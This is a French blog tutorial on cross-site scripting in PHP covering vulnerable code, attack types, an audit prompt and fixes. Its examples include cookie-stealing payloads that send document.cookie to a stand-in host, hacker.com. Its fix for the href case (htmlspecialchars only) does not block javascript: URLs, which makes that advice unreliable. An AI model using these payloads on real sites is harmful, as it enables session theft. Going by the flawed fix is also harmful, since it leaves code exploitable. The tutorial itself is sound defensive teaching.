Cross-Site Scripting (XSS)

Publié le 11/01/2026 par Frédéric dans la catégorie "Php"

Le Cross-Site Scripting (XSS) est une faille de sécurité qui permet à un attaquant d’injecter du code JavaScript malveillant dans des pages web consultées par d’autres utilisateurs. Cela se produit quand une application PHP affiche des données utilisateur non filtrées (ex : commentaires, champs de formulaire, URL) sans les échapper correctement.

Exemple vulnérable :

<!-- Affichage direct d'une entrée utilisateur -->
<p>Bonjour, <?php echo $_GET['nom']; ?> !</p>

Attaque : Si un utilisateur visite http://site.com/page.php?nom=<script>alert('Hacké !')</script>, le JavaScript s’exécute dans son navigateur.

Types de XSS :

  1. XSS stocké (Persistant) : Le code malveillant est sauvegardé dans une base de données (ex : commentaire, profil utilisateur) et s’exécute à chaque affichage.
  2. XSS réfléchi (Non-persistant) : Le code est inclus dans une URL ou un formulaire et s’exécute immédiatement (ex : lien piégé).
  3. XSS DOM-based : L’injection se produit côté client via une manipulation du DOM (ex : document.write()).

Risques :

  • Vol de cookies/sessions (ex : document.cookie envoyé à un serveur malveillant).
  • Redirection vers des sites frauduleux.
  • Keylogging (capture des frappes clavier).
  • Défiguration du site (ex : remplacement du contenu).
Prompt pour l'IA

Analyse ce code PHP pour détecter des vulnérabilités Cross-Site Scripting (XSS). Vérifie les points suivants :

  1. Affichage de données non échappées :
    • Utilisation de echo, print, ou inclusion directe de variables utilisateur ($_GET, $_POST, $_COOKIE, base de données) dans du HTML/JS.
    • Exemple dangereux : echo $_GET['message']; dans une balise <div>.
  2. Fonctions insuffisantes :
    • Utilisation de htmlspecialchars() sans le flag ENT_QUOTES ou avec un mauvais encodage.
    • Absence d’échappement pour les contextes JavaScript (ex : json_encode() manquant) ou attributs HTML (ex : onerror=).
  3. Contextes spécifiques non protégés :
    • Données insérées dans des balises <script>, attributs HTML (href, src, style), ou URLs.
    • Utilisation de innerHTML ou document.write() en JavaScript avec des données PHP non sécurisées.
  4. Headers HTTP mal configurés :
    • Absence de l’en-tête Content-Security-Policy (CSP) pour limiter les sources de scripts.

Recommandations attendues :

  • Échappement contextuel :
    • Pour le HTML : htmlspecialchars($var, ENT_QUOTES, 'UTF-8').
    • Pour les URLs : urlencode() ou filter_var($var, FILTER_SANITIZE_URL).
    • Pour le JavaScript : json_encode() + échappement manuel si nécessaire.
  • Validation des entrées : Rejeter les balises <script>, onerror=, etc. (ex : strip_tags() ou expressions régulières).
  • Utiliser des bibliothèques comme HTML Purifier pour nettoyer le HTML utilisateur.
  • Configurer un CSP :
    Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' https://trusted.cdn.com"

Explication détaillée

A. Mécanisme du XSS

Le XSS exploite la confiance du navigateur envers le code HTML/JS reçu du serveur. Si une application insère des données utilisateur brutes dans une page, un attaquant peut injecter des balises ou des événements JavaScript qui s’exécuteront dans le contexte de la victime.

Exemple d’attaque réfléchie :

  1. L’attaquant envoie un lien piégé : http://site.com/recherche.php?q=<script>fetch('https://hacker.com/steal?cookie='+document.cookie)</script>
  2. La page PHP affiche la recherche sans échappement :
    <p>Résultats pour : <?php echo $_GET['q']; ?></p>
  3. La victime clique sur le lien → son cookie de session est volé.

B. Techniques de prévention

1. Échappement contextuel

Le traitement dépend du contexte où la donnée est insérée :

Contexte Fonction PHP à utiliser Exemple
HTML (texte) htmlspecialchars($var, ENT_QUOTES, 'UTF-8') <?php echo htmlspecialchars($user_input, ENT_QUOTES); ?>
Attributs HTML htmlspecialchars() + guillemets <input value="<?php echo htmlspecialchars($value); ?>">
JavaScript json_encode() <script>var data = <?php echo json_encode($user_data); ?>;</script>
URLs urlencode() ou filter_var(..., FILTER_SANITIZE_URL) <a href="?page=<?php echo urlencode($page); ?>">Lien</a>
CSS preg_replace('/[^a-zA-Z0-9#]/', '', $var) <div style="color: <?php echo preg_replace(...); ?>">

Exemple complet :

// Donnée utilisateur non sécurisée
$user_comment = $_POST['comment'];

// Affichage sécurisé dans du HTML
echo '<div class="comment">' .
     htmlspecialchars($user_comment, ENT_QUOTES, 'UTF-8') .
     '</div>';

// Utilisation dans du JavaScript
<script>
  var comment = <?php echo json_encode($user_comment); ?>;
</script>
2. Validation des entrées
  • Rejeter les balises dangereuses :
    $clean_input = strip_tags($_POST['input']); // Supprime toutes les balises HTML
  • Liste blanche de balises (si vous devez autoriser du HTML limité) :
    $allowed_tags = '<b><i><p><a>';
    $clean_input = strip_tags($_POST['input'], $allowed_tags);
  • Utiliser HTML Purifier pour un nettoyage avancé :
    require_once 'HTMLPurifier.auto.php';
    $config = HTMLPurifier_Config::createDefault();
    $purifier = new HTMLPurifier($config);
    $clean_html = $purifier->purify($_POST['input']);
3. Content Security Policy (CSP)

Le CSP est un header HTTP qui restreint les sources de scripts, styles, etc. Exemple :

# Dans .htaccess ou la configuration Apache/Nginx
Header set Content-Security-Policy "default-src 'self'; script-src 'self' https://apis.google.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:"
  • Effet : Bloque l’exécution de scripts inline ('unsafe-inline') ou depuis des domaines non autorisés.
  • Test : Utilisez CSP Evaluator pour vérifier votre politique.
4. Bonnes pratiques complémentaires
  • Désactiver register_globals (obsolète mais encore présent sur certains serveurs).
  • Configurer httpOnly et Secure pour les cookies :
    session_set_cookie_params([
      'lifetime' => 3600,
      'path' => '/',
      'domain' => 'votre-site.com',
      'secure' => true,     // HTTPS seulement
      'httponly' => true,   // Bloque l'accès via JavaScript
      'samesite' => 'Strict'
    ]);
  • Utiliser des frameworks modernes (Laravel, Symfony) qui échappent automatiquement les données (ex : Blade {{ }} en Laravel).

C. Exemples concrets d’attaques et corrections

Cas 1 : XSS réfléchi via un champ de recherche

Code vulnérable :

<!-- recherche.php -->
<p>Vous avez recherché : <?php echo $_GET['q']; ?></p>

Attaque : http://site.com/recherche.php?q=<img src=x onerror=alert(1)> → Affiche une alerte JavaScript.

Correction :

<p>Vous avez recherché : <?php echo htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8'); ?></p>
Cas 2 : XSS stocké dans un livre d’or

Code vulnérable :

// Sauvegarde en base de données
$comment = $_POST['comment'];
$stmt = $pdo->prepare("INSERT INTO comments (text) VALUES (?)");
$stmt->execute([$comment]);

// Affichage ultérieur
echo "<div class='comment'>$comment</div>"; // XSS si $comment contient du JS

Attaque : Un utilisateur soumet :

<script>document.location='https://hacker.com/steal?cookie='+document.cookie</script>

→ Tous les visiteurs exécutent ce script.

Correction :

// À l'affichage :
echo '<div class="comment">' . htmlspecialchars($comment, ENT_QUOTES, 'UTF-8') . '</div>';

// Ou avec HTML Purifier si vous autorisez du HTML limité :
echo '<div class="comment">' . $purifier->purify($comment) . '</div>';
Cas 3 : XSS via un attribut HTML

Code vulnérable :

<a href="<?php echo $_GET['url']; ?>">Lien</a>

Attaque : http://site.com/page.php?url=javascript:alert(1) → Exécute du JS au clic.

Correction :

<a href="<?php echo htmlspecialchars($_GET['url'], ENT_QUOTES, 'UTF-8'); ?>">
    Lien
</a>
Cas 4 : XSS DOM-based (côté client)

Code vulnérable (JavaScript) :

// URL : http://site.com/#<img src=x onerror=alert(1)>
var pos = document.location.hash.substring(1);
document.getElementById('content').innerHTML = pos;

Correction :

// Échappement manuel ou utilisation de textContent
document.getElementById('content').textContent = pos;

D. Outils pour tester les XSS

  • OWASP ZAP : Scanner automatisé pour détecter les XSS réfléchis/stockés.
    zap-baseline.py -t http://votre-site.com
  • Burp Suite : Intercepter et modifier les requêtes pour tester les injections.
  • XSS Hunter : Outil pour détecter l’exploitation de XSS en environnement réel.
  • PHPStan : Détecte les echo de variables non échappées (avec des règles personnalisées).

E. Pourquoi htmlspecialchars() seul ne suffit pas toujours ?

  • Contexte JavaScript :

    <script>
    var data = <?php echo htmlspecialchars($user_data); ?>; // Échoue si $user_data contient des guillemets
    </script>

    Solution : Utiliser json_encode() :

    <script>
    var data = <?php echo json_encode($user_data); ?>;
    </script>
  • Attributs HTML avec espaces :

    <input value="<?php echo htmlspecialchars($value); ?>" type="text">

    Si $value contient un espace + onmouseover=..., l’attribut peut être rompu. Solution : Toujours entourer les attributs de guillemets et utiliser ENT_QUOTES.


Conclusion

Le XSS est une faille courante mais évitable en PHP. La clé est :

  1. Échapper les données en fonction du contexte (HTML, JS, URL, etc.).
  2. Valider et nettoyer les entrées (liste blanche, HTML Purifier).
  3. Renforcer la sécurité avec CSP et des cookies sécurisés.

Ressources utiles :

  • OWASP XSS Prevention Cheat Sheet Guide officiel avec des règles précises pour chaque contexte (attributs HTML, JavaScript, CSS, etc.).
  • HTML Purifier Bibliothèque PHP pour filtrer le HTML utilisateur et bloquer les XSS (idéal pour les zones de texte riche comme les commentaires).
  • Générateur de CSP par Google Outil pour créer et tester des politiques Content Security Policy (CSP) afin de limiter l’exécution de scripts non autorisés.
  • OWASP ZAP Scanner gratuit pour détecter automatiquement les XSS réfléchis/stockés dans votre application.